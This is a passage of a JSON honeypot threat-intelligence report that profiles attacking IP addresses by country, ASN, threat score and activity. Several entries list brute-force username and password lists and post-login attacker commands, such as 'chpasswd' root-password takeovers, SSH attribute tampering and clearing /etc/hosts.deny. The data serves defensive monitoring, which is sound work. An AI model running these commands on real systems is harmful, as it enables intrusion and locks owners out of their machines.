      "as_org": "SOLUCION TV 555, C.A",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T21:20:53.105000+00:00",
        "last_seen_30d": "2026-05-03T21:22:12.158000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "93.26.195.208": {
      "attack_count": 2,
      "first_seen": "2026-05-14T02:22:08.592Z",
      "last_seen": "2026-05-14T02:22:22.078Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Pavilly",
      "asn": 15557,
      "as_org": "Societe Francaise Du Radiotelephone - SFR SA",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T02:22:08.592000+00:00",
        "last_seen_30d": "2026-05-14T02:23:23.527000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "95.214.211.191": {
      "attack_count": 2,
      "first_seen": "2026-05-03T18:09:31.410Z",
      "last_seen": "2026-05-03T18:09:44.611Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 41202,
      "as_org": "UNITEL LLC",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T18:09:31.410000+00:00",
        "last_seen_30d": "2026-05-03T18:10:53.192000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "95.233.26.57": {
      "attack_count": 2,
      "first_seen": "2026-05-22T22:13:59.979Z",
      "last_seen": "2026-05-22T22:14:13.211Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Messina",
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:13:59.979000+00:00",
        "last_seen_30d": "2026-05-22T22:15:17.528000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.16.54.226": {
      "attack_count": 4545,
      "first_seen": "2026-05-02T15:32:46.542Z",
      "last_seen": "2026-05-31T04:17:10.977Z",
      "sessions": 765,
      "ports": [],
      "usernames_attempted": [
        "authority",
        "oracle",
        "ftp1",
        "ddd",
        "a"
      ],
      "passwords_attempted": [
        "authority",
        "or4cl3",
        "ftp1",
        "ddd",
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6579,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T15:32:46.542000+00:00",
        "last_seen_30d": "2026-05-31T04:18:18.620000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4545,
        "Suricata": 2034
      }
    },
    "47.81.25.194": {
      "attack_count": 3781,
      "first_seen": "2026-05-16T15:45:21.856Z",
      "last_seen": "2026-05-20T02:32:56.064Z",
      "sessions": 753,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "deploy",
        "ubuntu",
        "postgres",
        "user1",
        "test",
        "git",
        "hadoop",
        "oracle",
        "minecraft",
        "steam",
        "debian",
        "dev",
        "elasticsearch",
        "es",
        "ftp",
        "ftpuser",
        "mysql"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "1",
        "1234",
        "123456789",
        "1qaz@WSX",
        "admin123",
        "12345",
        "12345678",
        "111111",
        "Aa123456",
        "Admin@123",
        "admin",
        "test",
        "test123",
        "user",
        "P@ssw0rd",
        "!Q2w3e4r",
        "!Q@W3e4r"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 5350,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:45:21.856000+00:00",
        "last_seen_30d": "2026-05-20T02:34:05.402000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3781,
        "Suricata": 1569
      }
    },
    "192.109.200.237": {
      "attack_count": 3435,
      "first_seen": "2026-05-17T07:36:30.889Z",
      "last_seen": "2026-05-17T08:14:29.065Z",
      "sessions": 686,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "ubuntu",
        "deploy",
        "test",
        "user1",
        "minecraft",
        "postgres",
        "steam",
        "oracle",
        "frappe",
        "git",
        "hadoop",
        "app",
        "dmdba",
        "es",
        "ftpuser",
        "guest",
        "mysql"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "password",
        "1234",
        "12345",
        "12345678",
        "1qaz@WSX",
        "123456789",
        "abc123",
        "111",
        "1111",
        "123123",
        "Aa123456",
        "admin",
        "admin123",
        "qwe123",
        "test123",
        "******",
        "111111"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4819,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T07:36:30.889000+00:00",
        "last_seen_30d": "2026-05-17T08:15:37.674000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3435,
        "Suricata": 1384
      }
    },
    "103.159.54.61": {
      "attack_count": 580,
      "first_seen": "2026-05-02T01:48:45.130Z",
      "last_seen": "2026-05-30T02:25:51.766Z",
      "sessions": 81,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "deploy",
        "postgres",
        "user",
        "webadmin",
        "administrador",
        "administrateur",
        "api",
        "arma3server",
        "bruno",
        "cssserver",
        "debian",
        "dev",
        "develop",
        "devops",
        "docker",
        "ec2-user",
        "es"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "111111",
        "112233",
        "123",
        "1234567",
        "12345678",
        "1234567890",
        "123456qw",
        "123abc",
        "1453",
        "1q2w3e4r",
        "1qaz2wsx",
        "1qaz2wsx_",
        "1qaz@WSX",
        "654321",
        "77777777",
        "Aa123456789"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:KkKfSExN0vMT\"|chpasswd|bash",
        "echo \"root:d5MCbk6NwMUa\"|chpasswd|bash",
        "echo \"root\\ntIMo57hNtXta\\ntIMo57hNtXta\\n\"|passwd",
        "echo -e \"root\\ntIMo57hNtXta\\ntIMo57hNtXta\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 153413,
      "as_org": "HT3 VIETNAM TECHNOLOGY INVESTMENT AND DEVELOPMENT JOINT STOCK COMPANY",
      "threat_score": 62.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 28.9,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 780,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:48:45.130000+00:00",
        "last_seen_30d": "2026-05-30T02:26:57.669000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 580,
        "Suricata": 200
      }
    },
    "179.33.210.213": {
      "attack_count": 485,
      "first_seen": "2026-05-22T05:07:53.315Z",
      "last_seen": "2026-05-28T22:19:16.024Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "esuser",
        "sysadmin",
        "admin1",
        "alex",
        "aroot",
        "asterisk",
        "backend",
        "botuser",
        "cloud",
        "debian",
        "dst",
        "ha",
        "mark",
        "nick",
        "odoo",
        "openhabian"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123!@#asdASD",
        "1234.com",
        "12345",
        "123456",
        "123456789",
        "123654",
        "123@Admin",
        "123qwe123",
        "123qweasd@",
        "2112",
        "Aa!123456",
        "Aa102030",
        "Aa12345@",
        "Admin@2025",
        "Azerty123",
        "M3gaP33!",
        "Qwerty@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"M3gaP33!\\nM2kD4Oj3X65Q\\nM2kD4Oj3X65Q\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\nIKH2SkLaZkmF\\nIKH2SkLaZkmF\\n\"|passwd",
        "echo \"root:drCaPzQDemuU\"|chpasswd|bash",
        "echo \"sysadmin2024\\nqBvHeiMhvFh1\\nqBvHeiMhvFh1\\n\"|passwd",
        "echo -e \"M3gaP33!\\nM2kD4Oj3X65Q\\nM2kD4Oj3X65Q\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nIKH2SkLaZkmF\\nIKH2SkLaZkmF\"|passwd|bash",
        "echo -e \"sysadmin2024\\nqBvHeiMhvFh1\\nqBvHeiMhvFh1\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 41.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.9,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 621,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T05:07:53.315000+00:00",
        "last_seen_30d": "2026-05-28T22:20:19.311000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 485,
        "Suricata": 136
      }
    },
    "222.101.66.189": {
      "attack_count": 419,
      "first_seen": "2026-05-15T22:52:10.643Z",
      "last_seen": "2026-05-15T23:37:12.140Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "pakchoi",
        "zhxnephu",
        "dbus-helper",
        "linux",
        "systemd-sync",
        "udev-monitor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "10nd0n",
        "123321.",
        "16309",
        "A123456b",
        "Kermit123@",
        "King@123",
        "Push@8240",
        "asdfqwer1234",
        "bcbackup",
        "foreveryoung",
        "freebird",
        "manas",
        "norine",
        "openvpnas",
        "porsche996",
        "postgres!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Kermit123@\\nAR9coed5Ydet\\nAR9coed5Ydet\\n\"|passwd",
        "echo \"root:1y8F1OGr3lX9\"|chpasswd|bash",
        "echo \"root:RzHXPiKgyEkv\"|chpasswd|bash",
        "echo \"zXXUKpvydMqzp1quBItn\\n5hh67zONCvDM\\n5hh67zONCvDM\\n\"|passwd",
        "echo -e \"Kermit123@\\nAR9coed5Ydet\\nAR9coed5Ydet\"|passwd|bash",
        "echo -e \"zXXUKpvydMqzp1quBItn\\n5hh67zONCvDM\\n5hh67zONCvDM\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Goyang-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 501,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T22:52:10.643000+00:00",
        "last_seen_30d": "2026-05-15T23:38:14.092000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 419,
        "Suricata": 82
      }
    },
    "203.205.37.233": {
      "attack_count": 385,
      "first_seen": "2026-05-20T13:14:59.056Z",
      "last_seen": "2026-05-30T02:11:40.409Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "rancid",
        "bitrix",
        "claude",
        "cloud",
        "colin",
        "demo",
        "faisal",
        "greek",
        "hack",
        "lara",
        "liang",
        "me",
        "odoo",
        "openvpn",
        "pz",
        "qa",
        "user"
      ],
      "passwords_attempted": [
        "123456",
        "345gs5662d34",
        "12345678",
        "3245gs5662d34",
        "00000",
        "123",
        "1234",
        "123456a?",
        "12345@Abcde",
        "1234@Qwer",
        "Aa123456789!",
        "Claude2026!",
        "Lz123456",
        "Ml123456",
        "Qa123456789",
        "User",
        "aa12345678",
        "admin112233",
        "admin@123456",
        "admin@2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Claude2026!\\nOPQmOj9KRe7p\\nOPQmOj9KRe7p\\n\"|passwd",
        "echo \"rancid\\nEImZkhzKWCX2\\nEImZkhzKWCX2\\n\"|passwd",
        "echo \"root:xmb6HuKda8Ju\"|chpasswd|bash",
        "echo -e \"Claude2026!\\nOPQmOj9KRe7p\\nOPQmOj9KRe7p\"|passwd|bash",
        "echo -e \"rancid\\nEImZkhzKWCX2\\nEImZkhzKWCX2\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 45903,
      "as_org": "CMC Telecom Infrastructure Company",
      "threat_score": 46.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.8,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 478,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T13:14:59.056000+00:00",
        "last_seen_30d": "2026-05-30T02:12:43.680000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 385,
        "Suricata": 93
      }
    },
    "165.227.129.77": {
      "attack_count": 370,
      "first_seen": "2026-05-24T17:49:16.855Z",
      "last_seen": "2026-05-24T18:46:21.551Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "newuser",
        "iksi",
        "intel",
        "admin",
        "httpd",
        "kubernetes",
        "mostafa",
        "myadmin",
        "oracle",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "123asd,./",
        "123pls123A!",
        "22",
        "Dy123456",
        "Linux123",
        "Minecraft1",
        "Oracle11",
        "P@ssw0rd12345",
        "Welcome#1",
        "admin2025",
        "fjbdfdjkdsfs541544@@",
        "kubernetes@123",
        "myadmin",
        "root",
        "test1234",
        "testtesttest"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nq5QE80P4EuKb\\nq5QE80P4EuKb\\n\"|passwd",
        "echo \"root:4GnWtkg3jMIR\"|chpasswd|bash",
        "echo \"test1234\\nZ6dVoLVhknFu\\nZ6dVoLVhknFu\\n\"|passwd",
        "echo \"zhbjETuyMffoL8F\\ndFq1uhZQ6THh\\ndFq1uhZQ6THh\\n\"|passwd",
        "echo -e \"123\\nq5QE80P4EuKb\\nq5QE80P4EuKb\"|passwd|bash",
        "echo -e \"test1234\\nZ6dVoLVhknFu\\nZ6dVoLVhknFu\"|passwd|bash",
        "echo -e \"zhbjETuyMffoL8F\\ndFq1uhZQ6THh\\ndFq1uhZQ6THh\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 434,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T17:49:16.855000+00:00",
        "last_seen_30d": "2026-05-24T18:47:26.385000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 370,
        "Suricata": 64
      }
    },
    "170.106.188.200": {
      "attack_count": 314,
      "first_seen": "2026-05-16T17:57:25.613Z",
      "last_seen": "2026-05-16T18:27:09.863Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1001",
        "123abc!",
        "2018",
        "20192019",
        "2050",
        "2095",
        "222",
        "31415926",
        "Hello2024",
        "backuppc",
        "gerry",
        "interlude",
        "lupita",
        "orange",
        "orion88",
        "panpan",
        "product",
        "recording"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:93imyaUY1XQJ\"|chpasswd|bash",
        "echo \"root:YAIsjDRrvG0Y\"|chpasswd|bash",
        "echo \"root:sRVl7KnNiN8M\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 376,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T17:57:25.613000+00:00",
        "last_seen_30d": "2026-05-16T18:28:19.055000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 314,
        "Suricata": 62
      }
    },
    "103.100.7.236": {
      "attack_count": 242,
      "first_seen": "2026-05-11T00:26:13.607Z",
      "last_seen": "2026-05-11T00:31:53.305Z",
      "sessions": 121,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Noida",
      "asn": 132116,
      "as_org": "Anonet Network Private Limited",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 364,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T00:26:13.607000+00:00",
        "last_seen_30d": "2026-05-11T00:32:58.790000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 242,
        "Suricata": 122
      }
    },
    "213.6.203.226": {
      "attack_count": 219,
      "first_seen": "2026-05-11T14:20:29.565Z",
      "last_seen": "2026-05-11T15:10:29.154Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "dev",
        "hduser",
        "345gs5662d34",
        "admin123",
        "admin2",
        "administrator",
        "afcadmin",
        "ftpuser",
        "git",
        "gitlab",
        "guest",
        "minecraft",
        "postgres",
        "serv",
        "server",
        "testa",
        "tests",
        "testuser"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "00000000",
        "1",
        "123456789",
        "123456aaa",
        "1q2w3e4r",
        "3245gs5662d34",
        "345gs5662d34",
        "54321",
        "88888888",
        "A1234567a",
        "P@ssw0rd!",
        "P@ssw0rd123",
        "abc123.",
        "admin",
        "admin123",
        "afcadmin",
        "debian",
        "dev12345678"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
